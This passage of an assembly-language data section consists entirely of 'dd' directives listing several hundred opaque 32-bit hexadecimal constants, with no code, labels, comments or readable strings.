		dd 2DC0420Dh, 9B415600h, 0D3CC28AFh, 80880B20h,	0DD80C932h
		dd 6D0EA3D4h, 5D288CA0h, 10E23430h, 0E1E4DDh, 0FE64195Bh
		dd 0FA60447Ch, 898AB801h, 5DE61855h, 3C4CDD5h, 0A7300038h
		dd 2E4312F9h, 0DE009BFDh, 1ABA48E0h, 0FB06025h,	0AB8293B5h
		dd 438B0C20h, 0F3E45F6h, 0CE007B53h, 8F204F6Ah,	7F2765E6h
		dd 0A26D0F25h, 0F1006292h, 0B83D4B05h, 6F20FE00h, 7F3B2517h
		dd 186102EAh, 6646E25Ah, 0D1ED12C0h, 0FF008E7Ah, 81F065AAh
		dd 11E7DECh, 0D77643A0h, 0DC2017B5h, 96011018h,	348771C9h
		dd 0B4D8EE5Ch, 304985Eh, 0A78653A2h, 64E043D3h,	948BCE9h
		dd 4B1600D4h, 0B5BDA59Eh, 0A6860007h, 962A9001h, 0AF030DB7h
		dd 99CE71D4h, 6A6EC07Dh, 0F470003Fh, 0DFEDBCE5h, 4B12174Ch
		dd 5013F81Ah, 0D960D819h, 0B385044Ah, 46183ADEh, 2304BF04h
		dd 2E5D7014h, 2BFD95F0h, 27C1E00h, 982F1BA6h, 0ECF4B8h
		dd 8C463BE7h, 483AE661h, 181348h, 18282363h, 0CAE75FCh
		dd 51534AE0h, 82005650h, 54B86325h, 3C6CE845h, 583B40A9h
		dd 0C605201h, 806AF118h, 5017020h, 0A7346B64h, 8EF90820h
		dd 41D3A4C0h, 3ABC0048h, 9B2354E6h, 2A60473Bh, 9DD7FEC8h
		dd 517A00B8h, 0DAAC7F8Bh, 8A0B7CDh, 90FAD83Dh, 6798D400h
		dd 65521A28h, 2A8E0192h, 0A068B8C6h, 980F6015h,	0A581DB02h
		dd 8002348Fh, 0EF7B0490h, 61210E65h, 834ABC50h,	4EBD1E97h
		dd 0A3403479h, 7B0BD3FFh, 68A1FD12h, 9FAA0Eh, 0E949CFB9h
		dd 85110753h, 50B77AEEh, 0E648704h, 32438D07h, 60CCECF2h
		dd 71A70352h, 0C486F9Fh, 9F255EC1h, 2068BE48h, 3104A975h
		dd 86BD746Ch, 3368A97Ch, 0B24720B0h, 0AFDFC450h, 0C46B476Ah
		dd 80295A9Dh, 51EFC5C0h, 43363Bh, 0C0A30EFDh, 0EC8067B4h
		dd 0E1A80D07h, 808FA27Eh, 9B7D6A0h, 4BEB0E39h, 0DDA3C11Dh
		dd 2EA98027h, 886C0ADh,	0F0EC400h, 99981683h, 0EE7C064Bh
		dd 18C30ADCh, 76F7CB2Eh, 80D0300Fh, 0C6525A49h,	1E0A158Fh
		dd 0F6012001h, 0E3DF7AA6h, 0F2880A82h, 1256A683h, 67EFE0ADh
		dd 320F0018h, 3624D8A8h, 73008622h, 0DB53D584h,	0B9004AEh
		dd 7ACFD62h, 0AFF63303h, 0E764AAC1h, 70C57FC1h,	400B139h
		dd 0F8DE7E47h, 0ADE7E968h, 603E8820h, 0C1F7D070h, 3F550E5Eh
		dd 2096F28Fh, 8A593111h, 12E826C0h, 0B440A2BDh,	0E0C22147h
		dd 143C0DE2h, 553780C0h, 47C73633h, 2F7584D2h, 7E005B28h
		dd 0D41EDF81h, 22275511h, 0B08B2EEh, 41E1580Ah,	1C1CA9C9h
		dd 1060EEB6h, 0A8673532h, 983342B5h, 5755F840h,	0DEC56079h
		dd 0F2C00009h, 0E7373C2Ch, 6178FF00h, 0AF4D7134h, 0F9C401C9h
		dd 4C91DF41h, 5FFDF81Bh, 6CA92500h, 8CC22682h, 0DE2004Dh
		dd 9E90605Ch, 5E074943h, 426D8D05h, 9CC0202Ah, 474D1434h
		dd 6B31C488h, 0FDF08338h, 0E1878E23h, 0B6BA265h, 0C0B3A602h
		dd 80356C64h, 4B327821h, 45859A49h, 860703Dh, 89154878h
		dd 0E020C9CCh, 856B6CD5h, 47F7BA87h, 797C8724h,	62508287h
		dd 8158CD5h, 427168ADh,	8511A7C8h, 6A52D140h, 0CD27006Dh
		dd 8263B5CBh, 0A20F2CB0h, 0A50B0Ch, 9966E279h, 7DC303A0h
		dd 3B1BAA61h, 0C5341900h, 49DB61Ch, 21203CBEh, 46296502h
		dd 20980B15h, 8E117356h, 0B9F29A20h, 96B20116h,	418F26E0h
		dd 1D081FBEh, 80EE5502h, 81D30496h, 101BF48Fh, 0F18A3AE3h
		dd 0A0141h, 0E1CA96CDh,	0ADBC524Bh, 60719440h, 0B7FA8FB0h
		dd 88204F57h, 9A0258B5h, 51EAB104h, 0C97CA7BFh,	266A9688h
		dd 3D5C7FA2h, 86ED3301h, 0EE737EA0h, 20586BE1h,	0CEF64404h
		dd 93C4F601h, 59666CB1h, 0A4211880h, 4C9C099Ah,	0B6D9B000h
		dd 664D77CEh, 820AC82h,	0A1B41BF9h, 0C2A74354h,	62922DE7h
		dd 10203675h, 0B06297FBh, 23F2D77Dh, 8EBAABAh, 68504076h
		dd 0FDEC1127h, 964BF2E6h, 25EC0A20h, 0F060564Ch, 6542FFEFh
		dd 6D07AC0h, 958FB137h,	0E51CA043h, 9180C095h, 901E7E9Eh
		dd 2CC65E2Ch, 0C4A7F247h, 0F204F90h, 0BA178F55h, 4C300C2Dh
		dd 54D110A7h, 42CEA887h, 3580864h, 0D8DB01E6h, 3342CBF6h
		dd 15A90248h, 3E881C7Eh, 0C86CA526h, 1C8AA450h,	0AB060B94h
		dd 3C09C420h, 652B1F9Eh, 7DE7E3BCh, 508824A8h, 624908C2h
		dd 274C80E8h, 8FA9FFC6h, 482D1593h, 714A4081h, 1FAA097Fh
		dd 46685108h, 5C4D05Bh,	1040AF17h, 0BC30F029h, 93122377h
		dd 20708DE5h, 83796DEh,	9AC43DE0h, 0D03D94FBh, 8823165Ah
		dd 0CBA5E498h, 99F40088h, 0DBD9AF1Eh, 5D8A8FC2h, 5E512068h
		dd 47EFCFC8h, 28F9C4BAh, 98020C28h, 0ABCC330h, 0B1583E93h
		dd 8031F008h, 0A9F4238Dh, 4070F5E5h, 8F1992Bh, 0BB71CC4Ah
		dd 164690F8h, 730AFFE7h, 67B9EEC8h, 2C405E20h, 3978E809h
		dd 4E9F11D0h, 28EDF1BCh, 7702204Ah, 0BE4CDFAAh,	4001573Eh
		dd 4B98EE00h, 932759B4h, 3C05928Fh, 2B08E840h, 0F8A7C46Eh
		dd 60A52AF1h, 20A5F1Ch,	35F120B4h, 812080A3h, 679E64F2h
		dd 49101FBEh, 8002A401h, 655DD0DFh, 2DD96400h, 7B254081h
		dd 1F941CF9h, 6BE0BD21h, 0AFF578A8h, 911140h, 7E818A4Fh
		dd 0C9B083h, 40607396h,	0EE77182h, 0BAC8B500h, 62AC04E0h
		dd 7ACA3325h, 54B0FC51h, 2000C215h, 0E6514278h,	3738119h
		dd 7A9EC9E8h, 0BCC053B0h, 4D016FBBh, 0C550E289h, 7C2043F0h
		dd 316217ABh, 53F8053Fh, 4838C4C1h, 0C0D37E20h,	804AE8Bh
		dd 35E3F1FAh, 910AAA06h, 0F2AC0C19h, 50F86607h,	0CAD0D18h
		dd 3009F970h, 0B8314568h, 923A85EDh, 5C4F3C32h,	91A000C0h
		dd 0EEA702E1h, 177C2CC4h, 0C25300B0h, 65738243h, 58662400h
		dd 0AD2B5581h, 9DDF0F6Bh, 92A0D82Ah, 0F1BD90A7h, 2D175FFEh
		dd 400ABA2h, 0B7619329h, 0B068501Dh, 80E67216h,	36676ED2h
		dd 0F4255758h, 9DB5F8C0h, 8DFA2E05h, 14D61DA8h,	4980C899h
		dd 442927Ch, 94D8462Ch,	280B8C26h, 0FF9400EAh, 330A4E48h
		dd 74688968h, 0C8F465F1h, 4CE2B9ACh, 1F5C600h, 0C90A52CDh
		dd 0B198036Ch, 9E8F9FC7h, 83E68000h, 1C9431ABh,	4A6C0F24h
		dd 0EC219266h, 20778547h, 0E900E077h, 0EE14196Dh, 0F872A1h
		dd 53C2447Eh, 236B81ABh, 26FF5C00h, 5EB8A725h, 0F1EC602Dh
		dd 73F9612Eh, 0C9F17700h, 79B2F620h, 0ED2D008Dh, 0E1C74CCBh
		dd 61E52E0h, 340FC861h,	25550094h, 3E7E410Dh, 5F3E2904h
		dd 0F218E638h, 132C30C6h, 35415803h, 0C3DFE48Bh, 0F1CDE0C8h
		dd 6ADA0175h, 0CBFAC6E7h, 43CF11F6h, 3FC4E4h, 553D2AC1h
		dd 350296EBh, 0A1492E06h, 0A0D3A0h, 0BD6EDA69h,	89E1ADE0h
		dd 0E2845F01h, 0DC6BF201h, 14287880h, 179BE71Ah, 0E3CCCA0Fh
		dd 0BED26025h, 0F9E20Eh
		dd 0B8A1629Ch, 7ECAE165h, 1C4C8F00h, 3DFACFA3h,	37B039Eh
		dd 7786E573h, 0E3122ED0h, 355D4F0Ch, 0D1F850h, 5F305983h
		dd 90C96560h, 0CE30E47Dh, 6C3F81DDh, 0D88D07F7h, 86E5DFFAh
		dd 0C80118C3h, 0C4D383A2h, 7CFFCABEh, 0E47B01C0h, 6D66D9B4h
		dd 17906007h, 746B9902h, 8001C6FBh, 0F70AD580h,	0F961C071h
		dd 486EB172h, 4083DF0Ch, 0F85B18EAh, 99BB0EA7h,	1C4AED82h
		dd 0CF8D8CDCh, 7603C839h, 0FD44C89h, 0E48AE07Ah, 5328072Eh
		dd 0E5F9E0DBh, 985040B9h, 8674F615h, 50019CE2h,	82172A7Fh
		dd 2098C54Ah, 2CE7783Ch, 0A6DDB0Ch, 67D0E3h, 0A411E53Ah
		dd 55C13E2h, 4CD4DE55h,	0A7733F0Ch, 61707B54h, 71BA8114h
		dd 50F603F0h, 0E005D644h, 245F75B2h, 2CED1Ch, 0FEDDC02Bh
		dd 0EE48303Fh, 714E0F5Ch, 0B31781FAh, 2FF018ACh, 0C3F9DEF1h
		dd 18E5B1Ah, 3036469Fh,	0F2DD9104h, 4890EBEAh, 6519D76h
		dd 8DD15EACh, 0F2098070h, 0E7993Fh, 0AE1A1270h,	241E4951h
		dd 434D2B00h, 9BAC642Eh, 8241477h, 16026C2Dh, 414FD710h
		dd 0B848E610h, 0CED10050h, 62C9EC93h, 0D22426A7h, 6380B421h
		dd 4755C705h, 2DE1C768h, 0B45F8185h, 9B1080F1h,	345D4CC0h
		dd 67090DBh, 12F86815h,	0E01E1A08h, 53925CC4h, 0B3F93400h
		dd 0CF4283E7h, 0AC34EBA8h, 0CE51DF03h, 0F009ED5Fh, 87260F17h
		dd 8D3FF7D4h, 1884A973h, 48C6245Eh, 0B92A67E7h,	10DB7011h
		dd 48EF5769h, 178EC14h,	4E44D111h, 85903C5Fh, 0C8FB33A8h
		dd 81508C03h, 0CA00EFACh, 24589962h, 8F3038A1h,	109DB2Dh
		dd 4A258420h, 40DD9748h, 0C4DA20FEh, 4490B819h,	2F40C95Fh
		dd 0E04C24E8h, 903F2909h, 8258A26Ch, 0E3812008h, 0D8A34A3Bh
		dd 525D51B8h, 4FC1DB60h, 9091C240h, 249C5280h, 2565CB83h
		dd 638340E4h, 81DB3AACh, 779048DEh, 8A92FB10h, 862C3043h
		dd 64A83017h, 31F8516Ah, 0A276B905h, 8030C8C4h,	88C701E7h
		dd 8C98D7C3h, 4C9CF24h,	0F5DFC08h, 40E48099h, 0A4448030h
		dd 49124454h, 2C008897h, 4B7E38BAh, 0D288C084h,	295F46CDh
		dd 8E0FD60h, 640D4254h,	83C7C02Ah, 7ABBEAB0h, 2355E802h
		dd 90DA734Ah, 42BB9C3Ch, 0A1240801h, 79C76117h,	463708F1h
		dd 0A1E53A85h, 295D0890h, 684FFAC7h, 0DB63842Eh, 0E8A831A3h
		dd 38347852h, 0DF787CB7h, 8C92B388h, 42EFF93Ch,	63C2128h
		dd 0BE3CF50h, 0E030F02Ch, 4ED931D3h, 98848292h,	0E010D0EFh
		dd 76E2FD5Ch, 30879B29h, 0C298D09h, 22A33190h, 0B60C42DBh
		dd 21676C40h, 0AEB802DFh, 0A0D08382h, 74639CB0h, 30A75386h
		dd 652C1111h, 9C70DDC0h, 844017A6h, 10D87F57h, 0B8C483ACh
		dd 7263619Ah, 7D8E1F0Ch, 35478641h, 6D49E11h, 0D2DB2ABh
		dd 12DC9A68h, 4ADCE94Ch, 50F4F99Ch, 29843E95h, 0E58DE37h
		dd 8210E43Ch, 181A8D04h, 5786DCE3h, 110F457h, 28FDC5E8h
		dd 78663C21h, 3086C23h,	0EC01A3D7h, 0F6AAF1CCh,	0CEC85074h
		dd 0ACF4B631h, 0A3D8B7C2h, 5449FC19h, 6DDD10CAh, 0C618A212h
		dd 31D1E44Ch, 0C40E53BCh, 886CEC29h, 0AF6276C3h, 35893196h
		dd 0D1D989E4h, 29603E2Ah, 90846EA1h, 0E71890E5h, 0F431DF65h
		dd 0D6182A9Dh, 24841E53h, 20E230A3h, 4C7419DCh,	7A431F6Ch
		dd 8AD8672Bh, 0BB3CD86Dh, 902C29A3h, 233C3514h,	89CC91D3h
		dd 2B44B844h, 97108678h, 21C28B0Eh, 48109202h, 0BB88A185h
		dd 6D327989h, 79EF1418h, 5C2AFCACh, 30223CD6h, 7ABE099Ch
		dd 0EC284DA2h, 0CD7B03FCh, 69C8AF1h, 0FF61BDC6h, 2F6CA2E2h
		dd 30CB26CDh, 44E9896Ah, 0D87E2C3Dh, 65280669h,	689929C0h
		dd 0EB499DF0h, 7D7A0A9Ch, 42F78460h, 0FE3831A2h, 37C011C2h
		dd 0CEE70F08h, 932B11BDh, 0C8D18A9Ch, 775964D8h, 10435012h
		dd 3CA44867h, 9CA7602Ah, 0E5E1D005h, 84D0CEEAh,	0B0E64574h
		dd 0E542E5B4h, 44E8C49Ch, 4900CBD3h, 0E7695EFBh, 0B8E59C33h
		dd 0FC0C5C0h, 0CFCCC9DDh, 16A4514Ch, 100F4B10h,	0C02454D8h
		dd 0EB7448Ah, 144500B1h, 79462291h, 0DC039A76h,	5DF860F9h
		dd 203DB90Fh, 0C4102F1h, 3A1089C5h, 22036FFCh, 3C015112h
		dd 2EEDE0A5h, 898018A2h, 0C9A1039h, 531A3F06h, 2018AA98h
		dd 0DE00A2D7h, 5EF0216h, 1DE29EA5h, 8010174Ch, 1A99A4C4h
		dd 7218BCC9h, 0FB483DEDh, 3BE718F9h, 0DD287886h, 0D4122300h
		dd 599F4488h, 27670C63h, 0FA309903h, 13C3851Eh,	0AC55E073h
		dd 3B561603h, 739AA93Ah, 79898118h, 0A8B1B291h,	3E61684h
		dd 0F86B09DEh, 0C9B0BBB0h, 80004374h, 21EE19F9h, 0C16688C6h
		dd 1687BC39h, 8130006Dh, 0FACFF89Fh, 44B90E3Ch,	0EC232CCAh
		dd 2903BD8h, 6F89A22h, 2A97D918h, 398BA311h, 7780801Fh
		dd 0E34A499Bh, 87066CD8h, 33F4D9E0h, 0A23C0029h, 6FF2664Ch
		dd 93001817h, 45D76764h, 0EEB28ECh, 0BC1C903Bh,	1E430280h
		dd 0E0039D3h, 0D99F75A3h, 3EF20h, 0BC8F7F29h, 0EC19A0CCh
		dd 7A186671h, 0AA5108EAh, 8F1884EDh, 66C1CF6Ch,	79CB6056h
		dd 205ED9Fh, 0DB459706h, 1110D8D4h, 0F4C3C7Ah, 18994373h
		dd 0F39021B8h, 0E5C806EFh, 888BEE86h, 87B6AD1Ch, 25B78Fh
		dd 0F1A56F85h, 0FE8D621h, 0CEAFA453h, 600448FBh, 0D9B5AB6Fh
		dd 13B3421h, 91084F19h,	78185130h, 0CADAADCDh, 837847B1h
		dd 9A90FAACh, 0C19CA9FBh, 439D566Ah, 0C2FA8248h, 57D4B320h
		dd 0C84A5433h, 2CBE0FAEh, 774AF501h, 6C5C800Ch,	4FB155F4h
		dd 880280A9h, 50F4E20h,	5E766E89h, 0F4900518h, 9B420AFh
		dd 0CC1EF9BDh, 358A496Ch, 5401B8D6h, 16D432BEh,	4473D08Eh
		dd 0BF0378D4h, 26A01058h, 0EDCEA010h, 73EA6802h, 14A2C85Ah
		dd 8C82B1B0h, 148C316Fh, 0C6057CC8h, 149125AAh,	1F02B801h
		dd 0C8E8D319h, 5ADCA8D4h, 4F6C0358h, 0AEEC2BDBh, 0A8A3C4CAh
		dd 0DED36501h, 2D81844h, 315A6806h, 3105209h, 7599F479h
		dd 2902DBD5h, 61874528h, 6CC88201h, 302C46D7h, 77E8D29Fh
		dd 2530DB02h, 4ED4A8CCh, 0C0AE6054h, 9A66211Bh,	934081F3h
		dd 2889C36Ch, 2A085881h, 83DAB5EDh, 9ABDCC68h, 185075D3h
		dd 68D5A8BCh, 4378C1E4h, 3EF5601Eh, 7B58A202h, 6F6080FDh
		dd 0E50B18h, 0AC8A27B9h, 0DE9822C2h, 0F4480861h, 3883650Dh
		dd 2B6E2D66h, 0E0447EDAh, 54072C84h, 31738B7Dh,	7202986h
		dd 6D24BA57h, 0D1187CDDh, 26CBD0ABh, 0A6784150h, 2457A32Ah
		dd 79068600h, 0AA7FF30Eh, 0B68D1F5Bh, 0C1520056h, 93E2CE51h
		dd 78E6D900h, 816E4694h, 89EA073Fh, 0F05C0B4Ch,	5B6B68ECh
		dd 0DB188460h, 3C913570h, 1F89826h, 0F9BC6E10h,	509DBA92h
		dd 0B80B8108h, 82C56600h, 0A309F2E4h, 6787403h,	10123F6Eh
		dd 31075179h, 0A5C6C488h, 96DCE5C1h, 0D101880h,	0F50B43BBh
		dd 2B353201h, 605918B1h, 0C0EB2CF4h, 0E5A4B868h, 79DE5DD0h
		dd 9B99B101h, 1080BC1Dh, 0ECD9FA3Fh, 81301FFBh,	516B167h
		dd 6B901E3Eh, 4A650CC7h, 9B261F71h, 321F2BF6h, 345F15h
		dd 0FEA7471Eh, 0FE495h,	0E511A8CFh, 404F0396h, 9C16100h
		dd 0C7CC07A7h, 17306F3h, 596E0D2Bh, 398FD10Fh, 0F927A10Fh
		dd 88404B76h, 403F3A8Ah, 0EB00456Ah, 79B7A50Fh,	7384A2EFh
		dd 28A4675Bh, 5FAB41C2h, 0ADD841E5h, 1F2C4009h,	613AC67Fh
		dd 38E9B015h, 695DBCAh,	0D681596Bh, 0A5E62830h,	0F26920A8h
		dd 0DAAAB018h, 1D16BE9h, 9D105348h, 50EDB69Bh, 0EA89249Ch
		dd 3EFE823Bh, 19D93031h
		dd 51EF969h, 0FD93E576h, 143C1E9Ah, 961C1009h, 0E6A182D4h
		dd 0A485EB6Fh, 1BD046FBh, 92810A2h, 0CC378838h,	0E9C6109Dh
		dd 19797821h, 11BF840Ah, 0D126E0E6h, 28313560h,	0A1340A60h
		dd 26E00728h, 1A788401h, 18A199FAh, 7C509448h, 50273218h
		dd 7EC72349h, 4428D900h, 0CB466996h, 329CA183h,	51CAECh
		dd 6559F310h, 0F9039BB2h, 5684E9DFh, 9C80860Bh,	2696A96h
		dd 1D7E12B3h, 0EE3FB5Fh, 0A9856007h, 0A7408997h, 4D3368h
		dd 80E3A666h, 0F3B9DDEAh, 0C0A040E3h, 0F003566Bh, 0C265E439h
		dd 8293C169h, 0FDA68883h, 280108E2h, 0EE2BDFECh, 182095B9h
		dd 1E78402Fh, 0E71F3F7Eh, 5E00F27Ch, 15204F52h,	65E508C4h
		dd 97029D2Ah, 403E1303h, 15C94758h, 80EFB630h, 5D658400h
		dd 61E6EBE4h, 5E3977FEh, 553583D2h, 0E0D80D4Fh,	1F59030Ch
		dd 2A76722h, 9A847420h,	6DE65882h, 9628103h, 0EE02B171h
		dd 0B71A3420h, 12E40315h, 7F1720A0h, 3F7DA0C4h,	40ECD10Ah
		dd 77C506AAh, 60A5A224h, 324DA94h, 2A9DC194h, 2114F14Dh
		dd 0F603C850h, 949A40DFh, 48E85730h, 285D1AC0h,	0CFE21317h
		dd 4EE132F8h, 0DC7304E3h, 4A3C64D5h, 14F224AFh,	0F870443Fh
		dd 0E48831DAh, 10380D18h, 747CA8A2h, 22917482h,	6C6680EEh
		dd 0F0C98FB0h, 0E3C74197h, 0EB0EDEC8h, 0F2E6DA00h, 0A49247DFh
		dd 59761F1Bh, 447C6410h, 425C8361h, 0E8484178h,	892288Ch
		dd 19FA5EFAh, 19C18A1h,	9980E567h, 822C72A5h, 6B097C6Ah
		dd 4905104h, 60909CE8h,	121AF3Fh, 2E5BE4DDh, 24C6779Dh
		dd 38C29374h, 41A70465h, 0C317D280h, 0AF09DACh,	0C709DD1Fh
		dd 159DA81h, 2BF1A36Ch,	9CC5188Ch, 3449F0A8h, 1A122A8h
		dd 59818F6Ah, 897565EBh, 0A1A0D139h, 0C1B4284h,	15A568E8h
		dd 5C7C1EF4h, 11B48024h, 608E0F62h, 59DF0D31h, 3A08FE2h
		dd 1E6DFA6Ah, 10A63410h, 207C8CEFh, 2B18A1D3h, 4F292096h
		dd 9E01560h, 0FDA7A9F9h, 3CC5232Ch, 75B4C115h, 8590EC3Eh
		dd 0EE046A30h, 0F47C7C81h, 9F9EC081h, 34E77B03h, 0CF28F6A4h
		dd 9600EC28h, 901C46EEh, 45B2C38h, 7AE535F5h, 6708919Ah
		dd 0CC66E07Bh, 797784A8h, 8EB45100h, 0F7062361h, 0AC64E92Ch
		dd 0F03D1F17h, 87CCC027h, 9EF2FBAAh, 2F004490h,	0FC2BFA55h
		dd 0A7734D4h, 3B58B22Ah, 409D4464h, 365FACC0h, 0A26A029Eh
		dd 0E1656902h, 875BD048h, 5E635D16h, 0B990E840h, 10384359h
		dd 7C3ADF04h, 9A310918h, 0DDD4F0h, 5AC32574h, 29D3920Ch
		dd 0CBC73A0Fh, 5CA380DCh, 0FA2D81Ah, 0DB6784ADh, 0A4602003h
		dd 1DFD1120h, 87AC33B6h, 0C1AE696Eh, 0D452D8F6h, 0D37F8081h
		dd 0AD00A1F0h, 63A2C9B1h, 0CDF7694h, 0CD9FB72Eh, 0BC0EF648h
		dd 586DE886h, 7272111h,	2EFDA4FCh, 18A356A9h, 28FF9701h
		dd 0CC998E15h, 1377E4h,	9AD3ACCFh, 986AB8E0h, 31A53580h
		dd 8179F1E1h, 473FD120h, 0C25A8744h, 9FC14C53h,	0A0F240ACh
		dd 39003667h, 0D60E2E72h, 4FC7A2h, 290CCCAEh, 74D0BE70h
		dd 0BFDBB807h, 60C36237h, 52D9C8E7h, 951A0CBDh,	29618FD3h
		dd 18BE5F00h, 41E19F21h, 3610C123h, 8032FD34h, 1ED80A71h
		dd 5148661h, 0C8BF6B23h, 0DC1C0E2Ch, 6DA38240h,	873A26DAh
		dd 21A853FCh, 453E9D9Bh, 68981FA8h, 23051B8Ch, 0E744573Ah
		dd 0A738E821h, 0CF90B18h, 0F830542Ch, 0C773188Dh, 0D2848A9h
		dd 0F3C11300h, 0F25635ACh, 0D96D20A2h, 1550F61Ch, 0C022AA66h
		dd 5A0741C2h, 0B480908Ch, 309682FBh, 9780A1E0h,	0C925FA1Bh
		dd 628C1D71h, 29581F50h, 12B91F5Ah, 2D6E1480h, 0A0B87EDEh
		dd 0DDDBB0h, 205BC157h,	0FC817DEFh, 15143214h, 91383058h
		dd 5CD877h, 172239BCh, 0D6214C0Eh, 60A1C0C7h, 5B0AF820h
		dd 2D10C08Eh, 852AFD51h, 326E0890h, 0B08641E9h,	9C22F2B2h
		dd 37E257C2h, 21B48440h, 0D2BA0E06h, 0B061BF9Ah, 704D1F41h
		dd 23FE475Ch, 40BC2A5Dh, 5120FF1Fh, 0EF7608A0h,	5EB5AE01h
		dd 33FD9F23h, 391C09Eh,	0BB15325h, 0C2187074h, 3D88D53Ah
		dd 824491EBh, 0A4073E43h, 0A6788480h, 74A3244Ch, 204D58C0h
		dd 20B3B530h, 79AB1Bh, 6E299C85h, 0AE51FDA0h, 4C491A06h
		dd 7CD03A8Ch, 5679048Dh, 42D43E4Dh, 0A01C5125h,	0C6BEFACh
		dd 0E7DC00A9h, 723376E0h, 303C1136h, 1FBE1DD5h,	9FCE4980h
		dd 487D2DBh, 0B1B45378h, 0B2659121h, 0F51C3465h, 2AB7E93Ch
		dd 0F0F0B89Dh, 0F84108A6h, 6A5F20F2h, 0A715D287h, 77F499E1h
		dd 0ACCAA91Dh, 29CEA14Ch, 0A0943E6Bh, 6E79348Ch, 0F4A801C8h
		dd 9CF28606h, 16CC29C0h, 0C6BC6DC9h, 29607A11h,	0AFAC3631h
		dd 0F98A2247h, 2114A06Dh, 9B01C8Ch, 0C0106B90h,	4D287152h
		dd 56091023h, 1ECA6A5h,	0A03ADD6Ch, 0B04277C9h,	47B30463h
		dd 0C460A647h, 48C004BEh, 0C71094B4h, 0EDBA0FA4h, 0A30C065Eh
		dd 0F05DFA11h, 0E6A14434h, 46BC30C8h, 646110E7h, 0ACFB5431h
		dd 633E4CC8h, 6879E17Bh, 8F38028h, 89104340h, 3266F4B3h
		dd 0A155C18h, 0E2609049h, 0F62302FAh, 9BB29A4Eh, 343988A5h
		dd 34988298h, 4B275448h, 64CA9226h, 0DCC8FD00h,	4771CA1h
		dd 0B2315E60h, 5AAC9056h, 48006DC1h, 0E511EB6Bh, 303D397h
		dd 0FAF27E38h, 0E1E04EB0h, 0CA4926Ch, 0DA584BEAh, 166F2004h
		dd 21BCD9h, 638B49ABh, 4B2A26F2h, 0EC124089h, 8413E576h
		dd 0C02F2003h, 0A0B80CF3h, 23C1B1E1h, 6952B200h, 9D3121F5h
		dd 40D6F934h, 26A2F058h, 4154ABACh, 52171333h, 0E442B5FCh
		dd 0F63E1480h, 7D196230h, 0C2789532h, 8AE909C7h, 0F00304AEh
		dd 73A384A7h, 0A01C8088h, 0FF4BAC0Ch, 10B958A1h, 7468DA1Eh
		dd 0F2EA2874h, 6F3EAC01h, 8611F13Fh, 53AE020h, 21FA336Eh
		dd 66DC98A2h, 549D9A05h, 0E004AA35h, 0EC80318Fh, 48907B8Ah
		dd 0DA0C8E8Eh, 0B959F9B0h, 0B6B44E19h, 0BC324818h, 1FC392Eh
		dd 2F3A1DE9h, 27884096h, 0F00077DBh, 3DBCD39Dh,	197050h
		dd 51EEE530h, 0F4D5F736h, 15024B7Dh, 52A2CD9Ah,	0ACB885F0h
		dd 608A4C80h, 6348C28Ch, 9E0F020Ah, 92AF03C7h, 8D4C9AC9h
		dd 0AADBB0ACh, 6584A7D2h, 88768088h, 9CCCA2ADh,	0A56F4F00h
		dd 2A862F7Eh, 44F219DFh, 0C25F88Fh, 82118672h, 9010F34Eh
		dd 0C99E389h, 0FA34C6B0h, 0F620A6F9h, 3FDF049Fh, 2E2D3044h
		dd 73B113h, 912249D8h, 0CFE684D3h, 6284090h, 0F609F890h
		dd 877E468Dh, 4752EEACh, 23C8C8BEh, 0DADC40C3h,	7310D800h
		dd 0D133AC5Fh, 9F261C18h, 20E7581Eh, 1C0570ADh,	46BCB152h
		dd 4C17202Ch, 20409148h, 0F8E20077h, 938D3FF0h,	0CC02204Bh
		dd 0EF2F1B23h, 0B3CE8ABh, 78A90062h, 0DB057D26h, 1A015344h
		dd 8D7C6F0Dh, 0ADF41B94h, 8B3300CFh, 9D51BB2Eh,	73006DCDh
		dd 0A1F7ED82h, 970F70h,	9F16D70Dh, 2D090338h, 0F63C4603h
		dd 0C0C09324h, 7F704EBh, 9AFDFB28h, 0DC90702Ah,	3400A573h
		dd 413CAA07h, 0B3D70h, 0D0831A44h, 38BA66E7h, 1CE0C0Eh
		dd 0CD27441Bh, 972D1880h, 0BEF4D0h, 76E80858h, 0AECC26D1h
		dd 0E07A0C00h, 8B6584B1h, 37440166h, 16A97F8Ch,	0C05FC248h
		dd 2361D3h, 0CB01BEB8h,	35CDF31Ch, 5BADFF00h, 73B3751Eh
		dd 9233311Fh, 0CB5C08B9h, 3F8CCCF8h, 0BCBFF507h, 5B246FEh
		dd 98D068EEh, 4BE900B8h, 0CF6D3230h, 0B3009B9Eh, 0CCD31750h
		dd 2F15390h, 0EDE7B8ABh, 0A8E47FBFh, 8E005C76h,	9E130B67h
		dd 0E3C9849h, 3D8A5AC0h
		dd 0CD5FF240h, 0B803F5D6h, 27624164h, 981FB82Bh, 49E600E2h
		dd 39F12665h, 9300926Fh, 0AFD61A50h, 185A1DBh, 4C248D0Ch
		dd 60E951B4h, 65EE3735h, 1E11B200h, 0F69368B7h,	46400060h
		dd 0AB1CE16Eh, 8A00C147h, 4D42F2E5h, 0FF0F9C92h, 81FA9C50h
		dd 0DD7E0082h, 314A6DE7h, 193DF4CFh, 797C81A9h,	0EB59909h
		dd 0FAC588D0h, 39FD00FEh, 244A57F9h, 0A894A2B4h, 95DBAC00h
		dd 0D85B02h, 0BB411E06h, 615EFE04h, 0F0660800h,	0E2A7A94h
		dd 24B900DDh, 0F6F8BED2h, 23009EFCh, 46856A4Fh,	588A13h
		dd 483A2142h, 0D668E98Ch, 3C96AB3Ch, 0B8923DF1h, 2DB85084h
		dd 1AD4F954h, 6E0F6300h, 8BAF173Ah, 5EA0797h, 40F25A7Eh
		dd 8892C969h, 9608F403h, 0FC0B40DEh, 0CF165483h, 6D113C20h
		dd 358F01C8h, 0C1321FDBh, 0A78860EAh, 1E00F872h, 0F1D09D3h
		dd 0E439D538h, 5B150656h, 484A9E3Dh, 1FEE539h, 7275E4B6h
		dd 4240554h, 93DD03F6h,	20954B35h, 0E9838902h, 60E6C676h
		dd 12046F53h, 6BEC13h, 2EAC6D75h, 6201990Eh, 8CED38CEh
		dd 8970CFDFh, 53AC0F8h,	0E2254402h, 1E4FEE00h, 0A67FAAB0h
		dd 0CBBE007Dh, 1B1D0AB1h, 0F9F40CF7h, 4EBF2316h, 0C57D3800h
		dd 1233DBB0h, 0EF9C10F2h, 0EDF0B800h, 7FAF3BD4h, 47FB037Dh
		dd 2E8A9D25h, 0AA6842E0h, 0CB523E00h, 0C62AC04Eh, 0DAEA001Ch
		dd 0F5C98674h, 4112BF19h, 0FE001E20h, 0BDB93DC0h, 550A0234h
